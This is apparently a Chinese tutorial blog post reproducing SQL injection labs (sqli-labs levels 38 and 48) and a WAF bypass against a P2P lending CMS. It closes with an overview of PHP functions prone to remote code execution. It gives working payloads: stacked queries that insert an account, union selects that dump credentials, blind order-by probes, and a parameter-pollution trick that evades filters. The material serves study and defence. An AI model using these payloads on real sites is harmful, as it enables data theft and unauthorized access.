Sql与Rce注入相关漏洞复现

目录

sqli-labs注入第38,48关

第38关(单引号闭合)

​编辑 第48关 (GET请求-基于错误-盲注-数字型-order by 排序

​编辑

贷齐乐系统多处Sql注入漏洞 

环境搭建

将贷齐乐源码放入phpstudy中的www目录下

在phpstudy上创建网站:

在本地数据库中创建数据库--ctf,并创建users表,往表中插入数据:: 

源码

waf1:

waf2:

注入思路:

Rce漏洞

可能产生rce漏洞的函数


sqli-labs注入第38,48关

第38关(单引号闭合)

使用单引号闭合进行注入,也可以使用堆叠注入,这里存在mysqli_multi_query函数,支持多条Sql语句同时进行。

mysqli_multi_query()函数允许在单个函数调用中发送多个SQL查询到MySQL数据库。‌这些查询可以是SELECT、‌INSERT、‌UPDATE或DELETE等,‌它们将在数据库中按顺序处理,‌尽管它们是在单个函数调用中发送的。‌函数的工作方式是异步的,‌意味着它不会等待每个查询完成就立即返回,‌而是继续执行后续的PHP代码。‌然而,‌需要注意的是,‌虽然查询是异步发送的,‌但数据库会按照顺序处理它们。‌也就是说,‌第一个查询完成后,‌才会开始处理第二个查询,‌依此类推。‌

使用mysqli_multi_query()函数时,‌需要使用do-while循环来处理多个查询的结果。‌在每个查询完成后,‌可以使用mysqli_next_result()函数来获取下一个查询的结果。‌这种方式允许在单个数据库连接上并发地执行多个查询,‌提高了处理大量数据时的效率。‌

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
向数据表插入自己的账户密码?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+
查询字段?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+
查询密码账户

 第48关 (GET请求-基于错误-盲注-数字型-order by 排序

Order By 后的注入原理:

order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数

输入:?sort=1

输入?sort=rand(),页面发生变化,那么说明这关是数字型 

尝试报错注入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+没成功

当条件为假时,页面显示,所以输入?sort=rand(0)--+

其次条件为真时,页面显示,输入?sort=rand(1)--+

输入?sort=rand(length(database())>5)--+,判断数据库长度,从结果来看,条件为真,所以数据库长度>5,以此类推 

输入?sort=rand(mid(database(),1,1)>'m')--+判断数据库第一个字母范围,从结果来看,条件为真,所以数据库第一个字母范围在(m,z]间

 输入?sort=rand((select count(table_name)from information_schema.tables where table_schema=database())>5)--+判断数据表张数

 

输入?sort=rand(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5)--+判断第一张数据表长度, 

输入?sort=rand(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m')--+判断第一张数据表的第一个字母范围,从结果看,在[a,m]间

贷齐乐系统多处Sql注入漏洞 

贷齐乐系统是安全问题比较严重的P2P金融类的CMS。由于连续出了多次安全漏洞,所以官方给贷齐乐系统中添加了严重影响正常使用的变态WAF。

环境搭建

将贷齐乐源码放入phpstudy中的www目录下

在phpstudy上创建网站:

 注意db.inc.php中数据库信息要与本地数据库一致

在本地数据库中创建数据库--ctf,并创建users表,往表中插入数据:: 
CREATE DATABASE ctfuse ctf
CREATE TABLE `users` (`Id` int(11) NOT NULL AUTO_INCREMENT,`name` varchar(255) DEFAULT NULL,`pass` varchar(255) DEFAULT NULL,`flag` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8
mysql> INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'admin', 'hrctf{R3qeeeee_Is_1nterEst1ng}');

源码

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符function dhtmlspecialchars($string) {if (is_array($string)) {// 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {// 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}// 定义函数 dowith_sql,用于检查 SQL 注入攻击function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格// 经过第一个waf处理//i_d=1&i.d=aaaaa&submit=1foreach ($_REQUEST as $key => $value) {// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理$request_uri = explode("?", $_SERVER['REQUEST_URI']);//i_d=1&i.d=aaaaa&submit=1if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);//print_r($rewrite_url);exit;foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {//$_REQUEST[I_d]=-1 union select flag users$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}
//   $_REQUEST不能有恶意字符
// $_SERVER// 业务处理//?i_d&i.d=aaaaaaaif (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}}
?>
waf1:
 foreach ($_REQUEST as $key => $value) {// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤$_REQUEST[$key] = dowith_sql($value);}

调用dowith_sql函数,过滤了select、union等关键字。 

waf2:
$request_uri = explode("?", $_SERVER['REQUEST_URI']);//i_d=1&i.d=aaaaa&submit=1if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);//print_r($rewrite_url);exit;foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {//$_REQUEST[I_d]=-1 union select flag users$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}

  过滤了括号等一些恶意字符。

explode函数在PHP中的作用是将一个字符串按照指定的分隔符拆分成一个数组。‌这个函数是PHP中的一个字符串处理函数,‌它提供了灵活的字符串分割功能。‌explode函数的原型为

array explode ( string $delimiter , string $string [, int $limit = PHP_INT_MAX] ),‌

其中$delimiter参数指定了分隔符,‌$string参数是要被分割的字符串,‌而$limit参数是可选的,‌用于限制分割后的数组元素数量。‌explode函数的功能包括但不限于:‌

分割字符串:‌将输入的字符串按照指定的分隔符进行分割,‌并将结果作为一个数组返回。‌

限制分割次数:‌通过设置$limit参数,‌可以控制分割的次数,‌从而限制最终数组中的元素数量。‌

支持多个分隔符:‌可以接受多个分隔符作为参数,‌实现对多种字符的同时分割。‌

去除分隔符:‌通过将$string参数设置为null,‌可以在分割过程中去除分隔符。‌

注入思路:

如果有一种方法让第一道WAF检测不到恶意字符再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,就可以绕过WAF,完成注入。要让第一道WAF找不到恶意字符,那么我们就得再$REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。

php特性: 

当我们输入两个相同名字的参数的时候,php是取后一个的。----php全局污染

自身在解析请求的时候如果参数名字中包含” “、”.”、”[“这几个字符会将他们转换成下划线。

假设我发送的是这样一个请求:i_d=1&i.d=2 ,php先将i.d转换成i_d,即为i_d=1&i_d=2 ,再获取到的$_REQUEST['i_d']就是2。

可在$_SERVER['REQUEST_URI']中,i_d和i.d却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['i_d']却是1。

Rce漏洞

命令执行漏洞:

        直接调用操作系统命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。
代码执行漏洞:

        靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()和passthru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。
系统的漏洞造成命令注入:

        例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。
调用的第三方组件存在代码执行漏洞:

        例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。

可能产生rce漏洞的函数

 PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。
PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。
PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/397347.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ESP8266与阿里云物联网平台连接

前言 最近折腾项目&#xff0c;需要用到ESP8266模块对接阿里云物联网平台&#xff0c;网上感觉十分完善的教程少了一点点&#xff0c;比较折腾我哈哈哈&#xff0c;所以打算自己写一篇。 材料准备 1、ESP8266 WiFi模块 数据线 网上随便买一个就好&#xff0c;十块钱左右一个…

C# winform 三层架构增删改查,(删除篇)

一.留言 C# wnform 三层架构增删改查&#xff0c;本篇是增删改查是删除篇&#xff0c;也就增删改查外加一个登录更新完&#xff0c;后续考虑出一个增删改查就是不用三层架构&#xff0c;在uI里面 直接写完&#xff0c;并且放一个帮助类&#xff0c;基本十分钟可以写完一套增删…

数据保存--总结

目录 Excel Excel--openpyxl mysql Excel Excel--openpyxl ... mysql

快速幂、矩阵快速幂

乘法快速幂&#xff1a; P1226 【模板】快速幂 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import ja…

【C#】一个项目移动了位置,或者换到其他电脑上,编译报错 Files 的值“IGEF,解决方法

文章目录 1 问题分析2 本文解决方法 一个项目可以正常运行编译的项目&#xff0c;所有路径均为相对路径。 移动了位置&#xff0c;或者换到其他电脑上&#xff0c;编译报错 Files 的值“IGEF&#xff0c; 1 问题分析 这个错误信息表明在处理文件时&#xff0c;Files 的值出…

(限时免费)震惊!流落人间的haproxy宝典被找到了!一切玄妙尽在此处!

目录 haproxy七层代理详解一、负载均衡1.1 什么是负载均衡1.2 为什么使用负载均衡1.3 负载均衡类型1.3.1 硬件负载1.3.2 四层负载1.3.3 七层负载1.3.4 四层与七层的区别 二、haproxy介绍2.1 haproxy简介2.2 haproxy特性 三、haproxy详细部署3.1 实验所用的环境3.2 软件安装3.3 …

C语言 | Leetcode C语言题解之第330题按要求补齐数组

题目&#xff1a; 题解&#xff1a; int minPatches(int* nums, int numsSize, int n) {int patches 0;long long x 1;int index 0;while (x < n) {if (index < numsSize && nums[index] < x) {x nums[index];index;} else {x << 1;patches;}}retu…

【HarmonyOS NEXT星河版开发学习】小型测试案例06-小红书卡片

个人主页→VON 收录专栏→鸿蒙开发小型案例总结​​​​​ 基础语法部分会发布于github 和 gitee上面&#xff08;暂未发布&#xff09; 前言 在鸿蒙&#xff08;HarmonyOS&#xff09;开发中&#xff0c;自适应伸缩是指应用程序能够根据不同设备的屏幕尺寸、分辨率和形态&…

气象大数据案例项目(求各气象站的平均气温)

气象大数据案例项目&#xff08;求各气象站的平均气温&#xff09; 一、项目需求二、数据格式三、项目开发3.1 在windows 进行开发3.2 运行结果3.3 对项目打包 一、项目需求 现在有一份来自美国国家海洋和大气管理局的数据集&#xff0c;里面包含近30年每个气象站、每小时的天…

WSL2 最新最全帮助小白一步步详细安装教程

文章目录 一、前言1.1、什么是 WSL &#xff1f;1.2、WSL2 相比传统虚拟机的优势1.3、微软官方 二、安装步骤*2.1、启用 WSL 功能2.2、重启电脑2.3、dos命令自动安装 (一行命令搞定&#xff0c;非常方便)2.3.1、通过 cmd 打开 dos 命令行 或者 WIN键 R&#xff1a;2.3.2、输入…

探案录 | 在线打补丁,运维更轻松

清晨&#xff0c;曙光温柔地洒落在福尔摩斯K那标志性的书房内&#xff0c;福尔摩斯K坐在他那张熟悉的扶手椅上&#xff0c;眼神锐利如鹰&#xff0c;正沉浸在思考的海洋中。门突然被推开&#xff0c;华生K带着一丝急切步入室内。 “福尔摩斯K&#xff0c;这次案件非同小可&…

如何在线观看汤姆克鲁斯、比莉艾利什、红辣椒乐队、HER等明星的奥运闭幕式

2024 年巴黎奥运会将以一系列众星云集的表演者为结尾&#xff0c;他们将帮助将奥运会移交给洛杉矶——以下是在线直播盛大决赛的时间和地点。 经过两周多令人惊叹的田径运动、激烈的比赛和表情包活动后&#xff0c;2024 年巴黎奥运会即将落下帷幕。 奥运会闭幕式将于 8 月 12 …

【C++】 特殊类设计:从构思到实现,引领设计新潮流

&#x1f308; 个人主页&#xff1a;Zfox_ &#x1f525; 系列专栏&#xff1a;C从入门到精通 目录 &#x1f680; 前言 一&#xff1a; &#x1f525; 不能被拷贝的类 二&#xff1a; &#x1f525; 只能在堆上创建对象的类 三&#xff1a; &#x1f525; 只能在栈上创建对象的…

uniapp使用echarts在H5上显示报错问题的解决方法

前言 在做uniapp vue3开发的echarts图表的时候&#xff0c;发现在浏览器上面正常运行&#xff0c;但在微信开发者工具上显示报错了&#xff0c;报错如下 原因&#xff1a;在微信小程序中&#xff0c;使用document.getElementById会报错&#xff0c;因为小程序的运行环境是基于…

目前最强的文生图模型?!FLUX完全解读!附体验地址

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;专注于分享AI全维度知识&#xff0c;包括但不限于AI科普&#xff0c;AI工…

css rem之2024

话题开始前 我们都知道1rem是等于html fontSize标签的字体大小的&#xff0c;我们主要用来做移动端网页设计稿等比例在手机上面的显示。 看到的问题 这个html fontsize的大小是通过js动态计算的&#xff0c;而这个js的运行时晚于html渲染的&#xff0c;所以会导致一个问题&am…

python网络爬虫使用代理

Python网络爬虫使用代理的实用指南 在网络爬虫的开发过程中&#xff0c;使用代理是一个非常重要的环节。代理不仅可以帮助爬虫绕过反爬虫机制&#xff0c;还能保护开发者的隐私。本文将介绍如何在Python中使用代理进行网络爬虫&#xff0c;包括基本的设置和示例代码。 1. 代理…

WordPress多用途电子商务博客新闻主题betheme 21.5.6版本

简介&#xff1a; WordPress多用途电子商务博客新闻主题betheme 21.5.6版本 自带500多套模板 BeTheme第一次发布于2014年5月21日&#xff0c;自那时以来&#xff0c;已有数以百万计的人下载了BeTheme&#xff0c;其评分为4.8。 这个主题是WooCommerce支持的&#xff0c;在此…

Git代码管理规范

1. 简介 git 分支分为集成分支、功能分支和修复分支&#xff0c;分别命名为 develop、feature 和 hotfix&#xff0c;均为单数。不可使用 features、future、hotfixes、hotfixs 等错误名称。 master&#xff08;主分支&#xff0c;永远是可用的稳定版本&#xff0c;不能直接在…

mybatis xml 动态sql相关语法

<?xml version"1.0" encoding"UTF-8" ?> <!DOCTYPE mapperPUBLIC "-//mybatis.org//DTD Mapper 3.0//EN""http://mybatis.org/dtd/mybatis-3-mapper.dtd"><mapper namespace"com.xiaKangan.mapper.EmpMapper&qu…